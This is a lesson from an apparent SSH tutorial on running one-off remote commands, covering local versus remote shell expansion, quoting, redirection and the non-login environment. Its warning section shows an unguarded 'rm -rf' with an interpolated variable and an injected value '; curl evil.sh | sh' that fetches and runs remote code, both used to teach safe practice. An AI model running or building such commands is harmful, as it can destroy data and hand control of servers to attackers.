Files, tunnels, and jumps

Run remote commands

Execute one quoted remote command and distinguish local expansion from remote shell interpretation.

You do not need a shell to use SSH. Put a command after the host and SSH runs it, prints the output, and exits:

ssh notes-server 'uptime'
 10:41:07 up 3 days,  2:15,  0 users,  load average: 0.03, 0.05, 0.01

The remote command’s exit status becomes the exit status of ssh. That makes it usable in scripts and if statements, which is where the trouble starts.

Two shells read your command

Your local shell parses the whole line first. Then SSH sends one string to the server, and the remote shell parses that. Every quote, variable, and redirect is read twice, by two different programs, on two different machines.

Run these two and compare:

ssh notes-server "echo $HOME"
ssh notes-server 'echo $HOME'
/Users/flavio
/home/deploy

With double quotes, your local shell expanded $HOME before SSH saw it. With single quotes, the $HOME text travelled intact and the remote shell expanded it. Same command, two answers.

Redirection has the same trap:

ssh notes-server ls /var/log > listing.txt

Without quotes, the > belongs to your local shell. The file lands on your laptop. Quote the whole thing and the file lands on the server:

ssh notes-server 'ls /var/log > /tmp/listing.txt'

Spaces get lost too. ssh notes-server echo a b prints a b, because the local shell split the words and SSH joined them with single spaces.

Do not depend on the login profile

A remote command runs through the account’s shell, but not as a full login. Things your interactive shell sets in .bashrc or .profile may be missing. So a command that works when you are logged in can fail with command not found here.

Use absolute paths and be explicit:

ssh notes-server '/usr/bin/systemctl --user status notes-api'

Never interpolate untrusted values

Compare these two:

ssh notes-server "rm -rf /var/www/notes/releases/$release"

If $release is empty, you just ran rm -rf /var/www/notes/releases/. If it came from user input, it can carry ; curl evil.sh | sh. The remote shell will happily run it.

My rule: fixed commands only. When logic gets more complicated than one line, copy a tested script to the server and call it by its absolute path. The script is versioned, reviewable, and it does not depend on quoting gymnastics.

Try this on your own: run ssh notes-server 'echo $USER $HOSTNAME' and then the same with double quotes. Before you press Enter, write down which machine you expect each word to come from. Then check.

Lesson completed